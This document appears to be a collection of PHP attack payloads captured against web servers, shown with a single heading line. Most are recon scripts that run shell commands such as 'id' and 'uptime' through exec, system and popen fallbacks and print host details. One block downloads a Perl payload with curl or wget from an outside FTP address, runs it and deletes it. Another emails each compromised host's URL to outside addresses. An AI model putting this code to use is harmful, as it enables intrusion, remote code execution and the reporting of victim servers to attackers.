one month of sysops taking our alerts into account

<?php
##[ Fx29ID ]##
fx("ID","FeeL"."CoMz");
$P   = @getcwd();
$IP  = @getenv("SERVER_ADDR");
$UID = fx29exec("id");
fx("SAFE",@safemode()?"ON":"OFF");
fx("OS",@PHP_OS);
fx("UNAME",@php_uname());
fx("SERVER",($IP)?$IP:"-");
fx("USER",@get_current_user());
fx("UID",($UID)?$UID:"uid=".@getmyuid()." gid=".@getmygid());
fx("DIR",$P);
fx("PERM",(@is_writable($P))?"[W]":"[R]");
fx("HDD","Used: ".hdd("used")." Free: ".hdd("free")." Total: ".hdd("total"));
fx("DISFUNC",@getdisfunc());
##[ FX29SHEXEC ]##
function fx($t,$c) { echo "$t: "; echo (is_array($c))?join(" ",$c):$c; echo "&lt;br>"; }
function safemode() { return (@ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) ? TRUE : FALSE; }
function getdisfunc() { $rez = explode(",",@ini_get("disable_functions")); return (!empty($rez))?$rez:array(); }
function enabled($func) { return (function_exists($func) && is_callable($func) && !in_array($func,getdisfunc())) ? TRUE : FALSE; }
function fx29exec($cmd) {
  if (enabled("exec")) { exec($cmd,$o); $rez = join("
",$o); }
  elseif (enabled("shell_exec")) { $rez = shell_exec($cmd); }
  elseif (enabled("system")) { @ob_start(); @system($cmd); $rez = @ob_get_contents(); @ob_end_clean(); }  
  elseif (enabled("passthru")) { @ob_start(); passthru($cmd); $rez = @ob_get_contents(); @ob_end_clean(); }
  elseif (enabled("popen") && is_resource($h = popen($cmd.' 2>&1', 'r')) ) { while ( !feof($h) ) { $rez .= fread($h, 2096);  } pclose($h); }
  else { $rez = "Error!"; }
  return $rez;
}
function vsize($size) {
  if (!is_numeric($size)) { return FALSE; }
  else {
    if ( $size >= 1073741824 ) { $size = round($size/1073741824*100)/100 ." GB"; }
    elseif ( $size >= 1048576 ) { $size = round($size/1048576*100)/100 ." MB"; }
    elseif ( $size >= 1024 ) { $size = round($size/1024*100)/100 ." KB"; }
    else { $size = $size . " B"; }
    return $size;
  }
}
function hdd($type) {
  $P = @getcwd(); $T = @disk_total_space($P); $F = @disk_free_space($P); $U = $T - $U;
  $hddspace = array("total" => vsize($T), "free"  => vsize($F), "used"  => vsize($U));
  return $hddspace[$type];
}
die("FeeLCoMz");
?>

ID: FeeLCoMz
SAFE: OFF
OS: WINNT
UNAME: Windows NT ***somename*** 5.1 build 2600
SERVER: 127.0.0.1
USER: SYSTEM
UID: uid=0 gid=0
DIR: ***somedir***
PERM: [W]
HDD: Used: 4.01 GB Free: 1.26 GB Total: 4.01 GB
DISFUNC:
FeeLCoMz

<?php
function ConvertBytes($number)
{
        $len = strlen($number);
        if($len < 4)
        {
                return sprintf("%d b", $number);
        }
        if($len >= 4 && $len <=6)
        {
                return sprintf("%0.2f Kb", $number/1024);
        }
        if($len >= 7 && $len <=9)
        {
                return sprintf("%0.2f Mb", $number/1024/1024);
        }
   
        return sprintf("%0.2f Gb", $number/1024/1024/1024);
                           
}

echo "kangkung<br>";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;


echo "kangkung was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "uptime: $up<br>";
echo "id: $id1<br>";
echo "pwd: $pwd1<br>";
echo "php: $php1<br>";
echo "software: $sof1<br>";
echo "server-name: $name1<br>";
echo "server-ip: $ip1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;

<?
$dir = @getcwd();
$ker = @php_uname();
echo "31337<br>";
$OS = @PHP_OS;
echo "<br>OSTYPE:$OS<br>";
echo "<br>Kernel:$ker<br>";
$free = disk_free_space($dir); 
if ($free === FALSE) {$free = 0;} 
if ($free < 0) {$free = 0;} 
echo "Free:".view_size($free)."<br>"; 
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
function view_size($size) 
{ 
if (!is_numeric($size)) {return FALSE;} 
else 
{ 
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} 
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} 
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} 
else {$size = $size . " B";} 
return $size; 
}
} 

<? 

/*******************************************\
 IRC.ASCNET.BIZ  
 http://www.asc.sh/        
 ALBOSS PARADISE aka ASCRIMEZ aka ASCNET aka ASC aka ALBANIAN.SECURITY.CLAN 
\*******************************************/

$x16="get_current_user"; //unobfuscated :  $x16="get_current_user";
$x17="getcwd"; // $x17="getcwd";
$x18="getenv"; // $x18="getenv";
$x19="gethostbyname"; // $x19="gethostbyname";
$x1a="php_uname"; // $x1a="php_uname";
$x1b="phpversion"; // $x1b="phpversion";
$x1c="system";  // $x1c="system";
echo "ALBANIA<br>"; // echo "ALBANIA<br>";
$x0b = @$x1a();
$x0c = $x1c(uptime);
$x0d = $x1c(id);
$x0e = @$x17();
$x0f = $x18("SERVER_SOFTWARE"); // $x0f = $x18("SERVER_SOFTWARE");
$x10 = $x1b();
$x11 = $_SERVER['SERVER_NAME'];
$x12 = $x19($x13);
$x14 = $x16();
$x15 = @PHP_OS;
echo "os: $x15
"; // $x14 = $x16(); echo "os: $x15<br>"; $x15 = @PHP_OS;
echo "uname -a: $x0b<<r>"; // echo "uname -a: $x0b<br>";
echo "uptime: $x0c
"; // echo "uptime: $x0c<br>";
echo "id: $x0d
"; // echo "id: $x0d<br>";
echo "pwd: $x0e
"; // echo "pwd: $x0e<br>";
echo "user: $x14<<r>"; // echo "user: $x14<br>";
echo "phpv: $x10<br>"; // echo "phpv: $x10<br>";
echo "SoftWare: $x0f<br>"; // echo "SoftWare: $x0f<br>";
echo "ServerName: $x11<<r>"; // echo "ServerName: $x11<br>";
echo "ServerAddr: $x12<br>"; // echo "ServerAddr: $x12<br>";
echo "UNITED ALBANIANS aka ALBOSS PARADISE<br>"; // echo "UNITED ALBANIANS aka ALBOSS PARADISE<br>";
exit;
?>

<?php
echo exec('cd /tmp;curl -o l ftp://77.91.227.68/upload/tmp/1422423437/24224234310/2;perl l;rm -f l*;');
echo exec('cd /tmp;curl -o l ftp://77.91.227.68/upload/tmp/1422423437/24224234310/2;perl l;rm -f l*;');
echo system('cd /tmp;curl -o l ftp://77.91.227.68/upload/tmp/1422423437/24224234310/2;perl l;rm -f l*;');
echo shell_exec('cd /tmp;curl -o l ftp://77.91.227.68/upload/tmp/1422423437/24224234310/2;perl l;rm -f l*;');
echo exec('cd /tmp;wget -o l ftp://77.91.227.68/upload/tmp/1422423437/24224234310/2;perl l;rm -f l*;');
echo exec('cd /tmp;wget -o l ftp://77.91.227.68/upload/tmp/1422423437/24224234310/2;perl l;rm -f l*;');
echo system('cd /tmp;wget -o l ftp://77.91.227.68/upload/tmp/1422423437/24224234310/2;perl l;rm -f l*;');
echo shell_exec('cd /tmp;wget -o l ftp://77.91.227.68/upload/tmp/1422423437/24224234310/2;perl l;rm -f l*;');
?>

<?
$dir = @getcwd();
echo "Mic22<br>";
$OS = @PHP_OS;
echo "OSTYPE:$OS<br>";
$free = disk_free_space($dir); 

if ($free === FALSE) {$free = 0;} 

if ($free < 0) {$free = 0;} 
echo "Free:".view_size($free)."<br>"; 

$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;

function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}

function view_size($size) 

{ 

if (!is_numeric($size)) {return FALSE;} 

else 

{ 

if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} 

elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} 

elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} 

else {$size = $size . " B";} 

return $size; 

}} 

exit;

<?
echo "ALBANIA<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "UNITED ALBANIANS aka ALBOSS PARADISE<br>";
exit;
?>

<?php
$dir = @getcwd();
$ker = @php_uname();
echo "Mic22<br>";
$OS = @PHP_OS;
echo "<br>OSTYPE:$OS<br>";
echo "<br>Kernel:$ker<br>";
$free = disk_free_space($dir); 
 ini_set("max_execution_time",-1);
 set_time_limit(0);
 $user = @get_current_user();
 $email = "$user";
 $assunto1 = "atividade-off";
 $assunto2 = "atividade-on";
 $email1 = "bstraq@yahoo.com";
 $email2 = "rocks.bsnet@yahoo.com"; 
 
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){ echo("Safe Mode of this Server is : "); echo("SafemodeOFF"); 
 if(mail($email1, $assunto1, $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'], $headers)){
 echo "<br>Opa, enviado! bstraq@yahoo.com<br>";
 }
 if(mail($email2, $assunto1, $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'], $headers)){
 echo "<br>Opa, enviado! rocks.bsnet@yahoo.com<br>";
 } 
} else{ ini_restore("safe_mode"); ini_restore("open_basedir"); if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){ echo("Safe Mode of this Server is : "); echo("SafemodeOFF"); 


}else{ echo("Safe Mode of this Server is : "); echo("SafemodeON"); 
 if(mail($email1, $assunto2, $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'], $headers)){
 echo "<br>Opa, enviado! bstraq@yahoo.com<br>";
 }
 if(mail($email2, $assunto2, $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'], $headers)){
 echo "<br>Opa, enviado! rocks.bsnet@yahoo.com<br>";
 } 
} }
function ex($cfe) {
  $res = ''; 
  if (!empty($cfe)) {
    if (function_exists('exec')) {
      @exec($cfe,$res);
      $res = join("\n",$res);
    } elseif ( function_exists('shell_exec')) {
      $res = @shell_exec($cfe);
    } elseif (function_exists('system')) {
      @ob_start();
      @system($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    } elseif (function_exists('passthru')) {
      @ob_start();
      @passthru($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    } elseif (@is_resource($f = @popen($cfe,"r"))) {
      $res = "";
      while(!@feof($f)) {
        $res .= @fread($f,1024);
      }
      @pclose($f);
    }
   }
   return $res;
} 
exit;

<?php
echo "jimmywho";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;